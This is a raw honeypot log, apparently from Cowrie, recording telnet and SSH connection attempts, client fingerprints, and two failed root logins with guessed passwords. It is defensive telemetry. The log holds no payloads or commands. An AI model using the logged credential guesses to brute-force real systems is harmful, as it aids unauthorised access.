{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42634,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aaf42c9de55","protocol":"telnet","message":"New connection: 103.249.100.206:42634 (10.17.0.5:23) [session: 2aaf42c9de55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:44.230191Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42948,"dst_ip":"10.17.0.5","dst_port":23,"session":"228bbd6843ff","protocol":"telnet","message":"New connection: 103.249.100.206:42948 (10.17.0.5:23) [session: 228bbd6843ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:44.638582Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcfab642c65c","protocol":"telnet","message":"New connection: 103.249.100.206:43392 (10.17.0.5:23) [session: bcfab642c65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:45.055297Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.211.8.92","src_port":43683,"dst_ip":"159.203.135.109","dst_port":23,"session":"20355295f965","protocol":"telnet","message":"New connection: 169.211.8.92:43683 (159.203.135.109:23) [session: 20355295f965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:45.496228Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":37092,"dst_ip":"10.17.0.5","dst_port":23,"session":"995c3e900325","protocol":"telnet","message":"New connection: 216.238.80.67:37092 (10.17.0.5:23) [session: 995c3e900325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:46.739229Z"}
{"eventid":"cowrie.session.closed","duration":31.079798698425293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:46.857036Z","src_ip":"103.249.100.206","session":"f37dc3a87fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":37772,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d31b84f7a6","protocol":"telnet","message":"New connection: 216.238.80.67:37772 (10.17.0.5:23) [session: 41d31b84f7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:47.562727Z"}
{"eventid":"cowrie.session.closed","duration":31.866889715194702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:47.855539Z","src_ip":"103.249.100.206","session":"c567345e35ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":47178,"dst_ip":"10.17.0.5","dst_port":23,"session":"808739ebe9af","protocol":"telnet","message":"New connection: 103.249.100.206:47178 (10.17.0.5:23) [session: 808739ebe9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:48.290234Z"}
{"eventid":"cowrie.session.closed","duration":31.551387071609497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:49.072526Z","src_ip":"103.249.100.206","session":"19bc59e5a11f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"47bebbba5a07","protocol":"telnet","message":"New connection: 103.249.100.206:45310 (10.17.0.5:23) [session: 47bebbba5a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:49.662547Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":40102,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b79fd244b5c","protocol":"telnet","message":"New connection: 216.238.80.67:40102 (10.17.0.5:23) [session: 6b79fd244b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:50.317331Z"}
{"eventid":"cowrie.session.closed","duration":31.733225345611572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:50.921144Z","src_ip":"103.249.100.206","session":"57ca2ac8d86a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73417615890503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:51.344696Z","src_ip":"103.249.100.206","session":"74544ceee5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50286,"dst_ip":"10.17.0.5","dst_port":23,"session":"464806d4b091","protocol":"telnet","message":"New connection: 103.249.100.206:50286 (10.17.0.5:23) [session: 464806d4b091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:51.488616Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5be16a8694c","protocol":"telnet","message":"New connection: 216.238.80.67:41244 (10.17.0.5:23) [session: c5be16a8694c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:52.221076Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":51470,"dst_ip":"10.17.0.5","dst_port":23,"session":"bea33fc9b01d","protocol":"telnet","message":"New connection: 103.249.100.206:51470 (10.17.0.5:23) [session: bea33fc9b01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:52.994309Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50942,"dst_ip":"10.17.0.5","dst_port":23,"session":"252b2ac2db60","protocol":"telnet","message":"New connection: 103.249.100.206:50942 (10.17.0.5:23) [session: 252b2ac2db60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:53.424773Z"}
{"eventid":"cowrie.session.closed","duration":31.42095136642456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:54.844402Z","src_ip":"216.238.80.67","session":"644abac32577","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50618577003479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:54.948236Z","src_ip":"216.238.80.67","session":"7829bd1774ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.432316064834595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:55.299795Z","src_ip":"216.238.80.67","session":"c9b342a0e840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223572731018066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:56.082210Z","src_ip":"103.249.100.206","session":"3d6a59bc8c8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767911672592163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:57.329165Z","src_ip":"216.238.80.67","session":"58c4aa1072f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44680,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ef2c02e0bf6","protocol":"telnet","message":"New connection: 216.238.80.67:44680 (10.17.0.5:23) [session: 8ef2c02e0bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:57.505427Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53188,"dst_ip":"10.17.0.5","dst_port":23,"session":"e62b6e6b1281","protocol":"telnet","message":"New connection: 103.249.100.206:53188 (10.17.0.5:23) [session: e62b6e6b1281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:57.651116Z"}
{"eventid":"cowrie.session.closed","duration":31.634744882583618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:57.777390Z","src_ip":"103.249.100.206","session":"6dc49c76ffee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56824,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a18ba950641","protocol":"telnet","message":"New connection: 103.249.100.206:56824 (10.17.0.5:23) [session: 7a18ba950641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:57.871183Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57410,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab31b4f2e180","protocol":"telnet","message":"New connection: 103.249.100.206:57410 (10.17.0.5:23) [session: ab31b4f2e180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:58.407876Z"}
{"eventid":"cowrie.session.closed","duration":31.765540838241577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:58.656395Z","src_ip":"103.249.100.206","session":"eefc6c71cee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000630855560303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:58.856751Z","src_ip":"103.249.100.206","session":"b6f8c72d7c19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02048420906067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:58.917827Z","src_ip":"216.238.80.67","session":"8f7e1f587686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.454082250595093,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:58.950198Z","src_ip":"169.211.8.92","session":"20355295f965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966055393218994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:59.383203Z","src_ip":"216.238.80.67","session":"c54d5e5a066e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96436643600464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:59.536107Z","src_ip":"216.238.80.67","session":"396676a5fe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.004878282546997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.145391Z","src_ip":"216.238.80.67","session":"489072bb0fc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":33310,"dst_ip":"159.203.135.109","dst_port":22,"session":"0950c9868a2b","protocol":"ssh","message":"New connection: 43.157.98.118:33310 (159.203.135.109:22) [session: 0950c9868a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.217315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.225016Z","src_ip":"43.157.98.118","session":"0950c9868a2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.337372Z","src_ip":"43.157.98.118","session":"0950c9868a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48245358467102,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.705464Z","src_ip":"103.249.100.206","session":"917e2a23b3b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweQWE@","message":"login attempt [root/123qweQWE@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.762868Z","src_ip":"43.157.98.118","session":"0950c9868a2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":47246,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5ce9385f1c","protocol":"telnet","message":"New connection: 216.238.80.67:47246 (10.17.0.5:23) [session: ad5ce9385f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:00.906548Z"}
{"eventid":"cowrie.session.closed","duration":30.89397358894348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:01.117043Z","src_ip":"216.238.80.67","session":"19efd271ce40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":47690,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea3b03aa911","protocol":"telnet","message":"New connection: 216.238.80.67:47690 (10.17.0.5:23) [session: 9ea3b03aa911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:01.262200Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:01.854143Z","src_ip":"43.157.98.118","session":"0950c9868a2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29243540763855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:02.438220Z","src_ip":"103.249.100.206","session":"80c4673d15b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":46304,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ade6deb08d2","protocol":"telnet","message":"New connection: 216.238.80.67:46304 (10.17.0.5:23) [session: 6ade6deb08d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:02.980966Z"}
{"eventid":"cowrie.session.closed","duration":30.289964199066162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:03.179054Z","src_ip":"216.238.80.67","session":"cf112739a37a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b29a7b80dabf","protocol":"telnet","message":"New connection: 103.249.100.206:33526 (10.17.0.5:23) [session: b29a7b80dabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:03.191702Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":59714,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f40cd50edd2","protocol":"telnet","message":"New connection: 103.249.100.206:59714 (10.17.0.5:23) [session: 6f40cd50edd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:03.396568Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":49170,"dst_ip":"10.17.0.5","dst_port":23,"session":"f924a3d4641e","protocol":"telnet","message":"New connection: 216.238.80.67:49170 (10.17.0.5:23) [session: f924a3d4641e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:03.527448Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34570,"dst_ip":"10.17.0.5","dst_port":23,"session":"916d0c8cf8d2","protocol":"telnet","message":"New connection: 103.249.100.206:34570 (10.17.0.5:23) [session: 916d0c8cf8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:04.197060Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"098bc4911172","protocol":"telnet","message":"New connection: 216.238.80.67:49530 (10.17.0.5:23) [session: 098bc4911172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:04.525136Z"}
{"eventid":"cowrie.session.closed","duration":30.93745231628418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:04.645123Z","src_ip":"216.238.80.67","session":"490b5c9c7d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":40892,"dst_ip":"10.17.0.5","dst_port":22,"session":"325bcb7780d1","protocol":"ssh","message":"New connection: 190.244.39.232:40892 (10.17.0.5:22) [session: 325bcb7780d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:04.780585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:04.788647Z","src_ip":"190.244.39.232","session":"325bcb7780d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:04.986298Z","src_ip":"190.244.39.232","session":"325bcb7780d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36746,"dst_ip":"10.17.0.5","dst_port":23,"session":"76cdd276ceb7","protocol":"telnet","message":"New connection: 103.249.100.206:36746 (10.17.0.5:23) [session: 76cdd276ceb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:05.066063Z"}
{"eventid":"cowrie.session.closed","duration":31.269243240356445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:05.137926Z","src_ip":"103.249.100.206","session":"ff3a37cf6c17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06398868560791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:05.452533Z","src_ip":"216.238.80.67","session":"e1bd8ebf69e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36354,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40fdc7c85fa","protocol":"telnet","message":"New connection: 103.249.100.206:36354 (10.17.0.5:23) [session: e40fdc7c85fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:05.637424Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:05.787715Z","src_ip":"190.244.39.232","session":"325bcb7780d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.298532009124756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:05.862716Z","src_ip":"216.238.80.67","session":"4018a92fe95a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.301104068756104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:06.109222Z","src_ip":"103.249.100.206","session":"6d5de0a96e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38792,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68fe68bfcca","protocol":"telnet","message":"New connection: 103.249.100.206:38792 (10.17.0.5:23) [session: d68fe68bfcca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:06.785931Z"}
{"eventid":"cowrie.session.closed","duration":33.12573790550232,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:06.886169Z","src_ip":"103.249.100.206","session":"d408629b87c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8367b542570","protocol":"telnet","message":"New connection: 103.249.100.206:38946 (10.17.0.5:23) [session: c8367b542570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:06.903472Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":50482,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e1bade91e0a","protocol":"telnet","message":"New connection: 216.238.80.67:50482 (10.17.0.5:23) [session: 7e1bade91e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:06.994699Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:07.001219Z","src_ip":"190.244.39.232","session":"325bcb7780d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.078683137893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:07.157136Z","src_ip":"216.238.80.67","session":"6e44e276abfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47730,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf3e1941649","protocol":"telnet","message":"New connection: 137.184.155.248:47730 (10.17.0.5:23) [session: bdf3e1941649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:07.950468Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":53166,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc9dfd177088","protocol":"telnet","message":"New connection: 216.238.80.67:53166 (10.17.0.5:23) [session: bc9dfd177088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:08.754941Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":41022,"dst_ip":"10.17.0.5","dst_port":23,"session":"b90d9043aa5a","protocol":"telnet","message":"New connection: 103.249.100.206:41022 (10.17.0.5:23) [session: b90d9043aa5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:09.831337Z"}
